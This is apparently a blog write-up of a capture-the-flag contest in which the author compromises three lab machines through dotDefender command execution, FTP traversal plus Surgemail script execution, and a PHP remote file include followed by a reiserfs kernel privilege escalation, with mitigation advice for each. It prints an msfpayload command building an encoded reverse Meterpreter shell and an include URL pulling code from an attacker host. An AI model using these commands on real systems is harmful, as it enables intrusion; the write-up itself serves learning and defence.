How I Beat the Offensive Security Challenge
This weekend, Offensive Security held a hacking competition (CTF style), so of course I felt obliged to participate. After all, I couldn't pass up an opportunity to get some good old fashioned hacking in. So, I `svn update`d my trusty old Metasploit copy, grabbed a significant quantity of alcoholic and caffeinated beverages, and got to work.
For those not familiar with the contest rules (which is basically anyone who decided not to waste their first weekend of summer on their computer), there were three machines that contestants were supposed to analyze and compromise: the aptly named "n00bfilter", "killthen00b", and "gh0st". The following blog post documents the process I went through to compromise all three systems, and what could have been done to prevent these attacks by concerned system administrators. My apologies for the length: it was a lot of work, so I have a lot to write about. My code and screenshots of everything I did on killthen00b and gh0st can be found here. I would have had screens for the n00bfilter attack as well, but the ops brought the servers down early. Oh well.
Before I begin, I would like to give props to people who helped: my girlfriend, for not killing me this weekend, my good friends duststorm and ciric for letting me bounce ideas off them and for forcing me to take breaks to eat, and all the mods of the event, for putting up with my very consistent and annoying whining. You were just as crucial to my success as my puny brain and the exploits themselves. So yeah, thanks!
Also, to everyone who participated with me in it, way to go. It was awesome hacking with you guys. Always happy to meet smart people. Hope to see you around soon!
So now, with my thank yous out of the way, we can get to the good stuff...
How I Exploited It
This machine, though quite easy to hack, took me the longest out of all of them. Why? Because, unfortunately, many others couldn't pass up the opportunity to hack stuff either I guess. And there were apparently a lot of noobs in that group. But more on that later.
I woke up around 9 CST, which was when the contest was scheduled to begin. I got my confirmation email, and got to work. First, I nmap'd the box (slowly, so as to not trip the IDS), and determined that ports 22 and 80 were open. Bringing up the page, I was greeted with a simple login screen. Reading the source of this page gave nothing obvious away. After doing this, I of course sent the string "';-- just to see if maybe my job might simply be that easy. Of course, it wasn't. I was greeted with a mocking "HAHAHA!" message. After this, I tried "admin:admin" as a login, and was told that I was a lazy illegitimate child and that I should get back to work.
WARNING: It's at this part of the story that I start getting annoyed. Having recently switched to Chrome, I assumed that its view source function would work identically to Firefox's: it would simply display the exact source that it had used to render the page. How wrong I was...for god knows what reason, Chrome actually reloads the page (without preserving POST params) and displays that instead. Well, I definitely noticed that it was a different page (it was exactly the same as the "admin:admin" result page), but I lazily tacked looking up the true source in Firefox on the end of my TODO list rather than opening it up then, which cost me a good hour of my time flailing around, getting basically nothing.
Once I finally got back to looking at this page, it was 11 o'clock. I found that the page's source structure was significantly different from the normal failed login page, and that it seemed to have been generated by some sort of web firewall made by Applicure called dotDefender. With some quick google-fu, I found a very recent vulnerability in their software that allows for remote system command execution for authorized users. So in other words: get a login, get code execution.
By this time however, the servers started getting pounded. And I know muts, you could "access them fine". But seriously, unless you guys had banned the IPs of all my computers and my proxies for 8 hours straight, there was some serious DoSing going down. In addition, people kept changing the admin password to the application (which, by default, was "password"), so every time I actually got the page to load, before I could even get around to using my exploit, I'd get prompted for a password, or the connection would die again. It literally took me a good 8 hours of watching loading bars before the load finally lightened up enough that I got in, used the Tamper Data Firefox plugin to mess with the POST parameters of a delete operation (as per the exploit) like I had been planning since 11AM, and executed "find / -name n00bsecret.txt" and "cat /opt/reallylongpaththatidontremember/n00bsecret.txt" to advance to the next round.
I know it's not your fault Offsec guys, I'm positive it was just a combination of high load and stupid noobs pounding your IDS with automated tools. It was just frustrating to have an exploit that I knew exactly how to use, and not be able to. Maybe you can just get more servers next time :D .
UPDATE 05/12/10: The Offsec guys have just posted a response to some of the issues I raised here on their blog. The password was apparently not necessary, as there was also a 0-day XSS attack to be discovered which, combined with the previous exploit, allowed for unauthenticated exploitation. My bad on that one for not exploring it in more depth, thank you for the explanation. As for not being able to simply access the servers though, the explanation that everyone having these issues must have been tripping the IDS simply does not hold water in my book, but I guess arguing about it at this point is wasted breath.
How To Mitigate The Risk
This one was quite a serious vulnerability (remote code execution), but would be pretty straightforward to prevent.
For system administrators: update your software (especially security software), and don't use easy to guess passwords like "password". In addition, try and make any error pages that are returned from software similar to dotDefender look as similar as possible (if not identical) to a normal failed login page, so that an unskilled attacker might not be able to tell that it was an external application that blocked their request. That measure alone would have made this vulnerability significantly more difficult to find, as the error page would be less noticeable.
For those developing applications like dotDefender: don't put your software name or even company name in the response. It's not helping you advertise, I promise you, and it makes it easier for attackers to identify your software. And as we all know, this is the first step to exploitation. If you make the attackers' jobs easier, it will probably hurt your reputation in the long run. Sysadmins, if it is possible for you to disable these sort of things, be sure to do so.
How I Exploited It
After finally getting through the giant, for lack of a better word, clusterf*ck that was the n00bfilter, the going was much easier.
I spent most of Saturday evening getting familiar with Surgemail, which was installed on the remote host to provide email services. Initially, my plan was to find a way to get a user and password added (or guess an existing one), and then use this to execute one of the authenticated user remote exploits (there were multiple) for the installed version of Surgemail.
However, this proved more difficult than I originally thought, as all sign-up functions that I could find were disabled, no accounts had account-recovery questions enabled, and users were not allowed to use email accounts on different domains. This was a good move on the part of the theoretical sysadmins. If any of these had been enabled, it would have been simple to exploit the server using my method. However, after two or three hours of probing through Surgemail docs, my own installed Surgemail test setup in my VM, and looking through the remote install, I couldn't find any obvious other way to get a valid user on the server short of attempting a bruteforce. I decided to let it sit for awhile and go hang out with some friends, and then sleep on it.
I woke up the next morning refreshed and ready, and within the hour was well on my way to System privileges. At the beginning of the competition, we were given FTP credentials for this server. I had only checked briefly to make sure they worked when I first nmap'd the server and saw the FTP port, instead focusing on my Surgemail approach. I decided to probe a little more into the FTP setup, and quickly found that it had been mis-configured to allow access to and modification of the entire filesystem. WIN.
After this, my thorough exploration of the Surgemail system came in handy, as I remembered noticing that any executable in the /scripts/ directory would automatically be executed upon access, no questions asked. I had previously hoped that I could get it to execute programs outside the /scripts/ directory, but now that I could put things into that directory instead, I didn't need to climb that mountain. For fun, I decided to try out Metasploit's fancy new reverse_tcp_dns meterpreter module, and used the following command to generate my exploit:
./msfpayload windows/meterpreter/reverse_tcp_dns LHOST=192.168.6.170 LPORT=7777 R | ./msfencode -t exe -e x86/shikata_ga_nai -o svchost.exe
I didn't feel like restarting my msfconsole as root (as it takes forever to load on my netbook), so I didn't use port 53, but had there been any issue with IDS/IPS, this could probably have bypassed it with this. I uploaded my malicious executable, browsed to http://192.168.6.70/scripts/svchost.exe, and BAM, instant system privileges. A quick search through the C:\Users\Administrator\Desktop revealed the file I needed to get credit.
EDIT 05/12/10: Well, after reading Vadium's excellent documentation, it turns out that it was not a mis-configured IIS FTP server, but instead "Complete Ftp Server 3.3.0" which has a directory transversal vulnerability that I inadvertently rediscovered by trying to cd to C:/. Not sure if I should feel smart or stupid about that...
How To Mitigate The Risk
Most obviously, "devil" should have been more careful with his/her password. Protecting users from social engineering attacks through eduction and good spam filtering is key for preventing these kinds of leaks, as well as strict password policy enforcement to prevent brute force attacks.
Beyond this, the configuration of FTP permissions was absolutely unforgivable. It allowed an attacker that normally wouldn't have even gotten code execution to quickly get a remote system-level shell. Administrators, lock down the permissions for any services that allow user logins, so as to prevent a total compromise in the case of a single user's account being broken into.
As for the webmail server itself: it a.) should not have been running as System unless absolutely necessary (which, I believe, it isn't in Server 2008...although Surgemail may possibly be a legacy program and need it) and b.) should have been much, much more careful about how it handles executables.
Side rant: Really, Netwin? In this day and age, is it necessary to have a compiled executable serve HTML content? What advantage does this provide over scripting languages vs. the increased risks? And why, in the name of all that is holy, would you not limit the executables in the script directory to simply "webmail.exe" and nothing else? There's no reason to allow the execution of anything else in this directory for any reason.
From a sysadmin's point of view, it's difficult to deal with this kind of incompetence from developers, as you probably don't have time to pen test every single detail of the applications you use. However, attempting to tighten permissions in any directories that are web accessible so that only administrators can access them, and more importantly, write to them, would be advisable in this case. This would have made an attack much more difficult, if not broken it all together.
Finally, even though I didn't exploit any of the authenticated user vulnerabilities, that doesn't mean that other people didn't or wouldn't. If I had wanted to, I could have used the ftp mis-configuration to give myself an account and compromised the server that way. Like on the n00bfilter, software updates should be applied regularly so as to mitigate the risk posed by these vulnerabilities.
How I Exploited It
While this took a little less time for me than the n00bfilter (as it wasn't, thankfully, getting DoSd), it was definitely more challenging, and arguably more frustrating. However, after a good 7-8 hours of work, I prevailed in the end.
At the beginning, I was stumped. An nmap scan revealed that only port 80 open, and a port scan pivoted through killthen00b reported similar results. In addition, the HTTP headers reported that the site was running IIS, and the ASP file extensions seemed to agree.
Finally though, I made some progress. I had been focusing on the /1/ for some time, as it looked promising as an avenue for attack. My first break came from using more google-fu on one of the POST variable names, which brought up links to SiTeFiLo , a simple text file based authentication mechanism. Oddly enough, the software was written in PHP, but the login page claimed to be an ASP page. By this point, I was starting to get curious what strange kind of setup this was, but I decided that it was simply IIS with PHP installed. (Oh, how wrong I was...). After my attempt to dump the slog_users.txt file yielded a taunting ":P" in response, I decided to look for vulnerabilities in the software. And sure enough, there was a remote include vulnerability, which allowed you to include a remote header.inc.php file. It was finally time to get a shell!
My first attempt, I am ashamed to admit, was to inject a metasploit generated ASP file to get a remote meterpreter shell on the machine. As smtx pointed out, I probably should have just done OS detection with nmap and I would have known better. However, after getting banned for 5 minutes by the n00bfilter for doing that exact thing (albeit, at a rather high speed setting), I decided to hold off on that the rest of the competition. After all, it said it was IIS, right? :P
After a few failed attempts, with no clear reason why they failed, I decided to go with the simpler and less functional, but almost-guaranteed-to-work, PHP shell. Using the php/reverse_php module, I generated my header.inc.php file, and upped it into the previously compromised web server on killthen00b . Then, it was just a matter of firing up my multi/handler and browsing to: | http://192.168.6.66/1/slogin_lib.inc.php?slogin_path=http://192.168.6.71/ | Sure enough, I now had a shell. A linux shell...:P
That, I have to say, was a pleasant surprise. I checked my "id" and found I was running as a member of the limited "www-data" account. So of course, now it was time to get a privilege escalation attack to get me my root shell.
The first I looked at was one involving a NULL pointer dereference, but Ubuntu (which this was, at least according to uname) by default has a mmap_min_addr of 65536. /proc/sys/vm/mmap_min_addr confirmed my suspicions, that exploit was out.
The next I considered was one from Tavis Ormandy involving a reference after free bug in fasync file descriptors that allowed for privilege escalation. As far as I could tell without testing, the system seemed to be vulnerable. I modified his PoC slightly, opening up "/bin/sh" instead of "/bin/true" on success, compiled, and tried it out. No joy.
After a couple more failed modifications of the code, I decided to see if there were any other promising exploits. And it was good that I did, because my next one was the big one: a bug, discovered by Jon Oberheide, in the linux kernel's handling of reiserfs's extended attributes. Exploiting this bug on a vulnerable install allows an unprivileged attacker to setuid and setgid of arbitrary executables to root. To do this, the attack exploits the fact that the kernel does not properly restrict access to the ".reiserfs_priv/xattrs" located in the root of all reiserfs filesystems mounted with the option user_xattrs. And, as luck would have it, the filesystem we had write access to (/apachelogs/) is actually a mounted reiserfs partition with this option. Root shell time...
Now, after I found this, it still took me a couple of hours to coax the thing into working. I got the easy modifications out of the way pretty quickly, like sending a compiled executable with the exploit rather than compiling one on the system (there was no gcc), and changing all the /.reiserfs_priv/xattrs paths to /apachelogs/.reiserfs_priv/xattrs. However, I had some real issues getting the thing mounted. Even though it had user mode enabled, sometimes I could not for the life of me get the thing to mount, as mount repeatedly informed me that I needed root permissions. Not sure if this was someone with root messing with the competition, or just my own tiredness and incompetence coming out, but it was frustrating. I also had to deal with people deleting my files, which I eventually (mostly) solved by hiding in a hidden folder. After a good 4-5 resets, the stars finally aligned and I got my code working: game over. I found the key, dumped it, and submitted it.
UPDATE 05/12/10: smtx, a much better hacker than I, posted a video documenting his solution. It's quite nice, give it a watch.
How To Mitigate The Risk
The theoretical system admins of this box did a very good job at minimizing the number of attack vectors, as well as at throwing out tons of red herrings for unskilled attackers to find and waste their time on. They also had permissions for www-data pretty tightly controlled on the box, which made the attack even more difficult. However, their apparent attention to detail in their initial configuration seems to have not carried over into day-to-day maintenance.
The attack could have easily been limited to a www-data shell, which, unless a new zero-day privilege escalation exploit came out, wouldn't be incredibly useful. However, their kernel was out of date (Ubuntu has long since pushed kernel updates solving this issue), making it possible to get root. Updates, though they should probably be tested first on a non-production server, should be installed as soon as possible after their release.
The SiTeFiLo exploit would have been harder to prevent against with updates, as there are no updates yet fixing the bug. However, one could prevent this attack by removing the slogin_path variable (it's not necessary if everything is in the same directory), turning off register_globals (which would break the script without heavy editing) or, best of all, by using Apache's htaccess authentication for authenticating users rather than SiTeFiLo. SiTeFiLo's own author recommends this if at all possible, so this is probably what you'd want to do to fix this issue.
The challenge, overall, was both a great learning experience and tons of fun. I really appreciated the chance to do some pen testing. As I unfortunately have yet to land a job doing these things yet, it's not everyday I get to break into someone else's boxes.
The lessons for system administrators from this contest should be: be very careful with user permissions (only give them out when you HAVE to), and update your software as often as possible. These two rules would have prevented all three compromises (and would have made the challenge a living hell...:P).
For pen testers, the lessons should be: try to identify and know the targeted software as thoroughly as possible (you can't attack what you don't understand), patience is a virtue, go where other people normally wouldn't, and as always, when things get tough, try harder (TM).
Now if you'll excuse me, I'm on the highway in the middle of Kansas right now, and I'm pretty sure I'm about to get sucked into a tornado. Hopefully I'll survive to post more about the craziness of the last 4 days...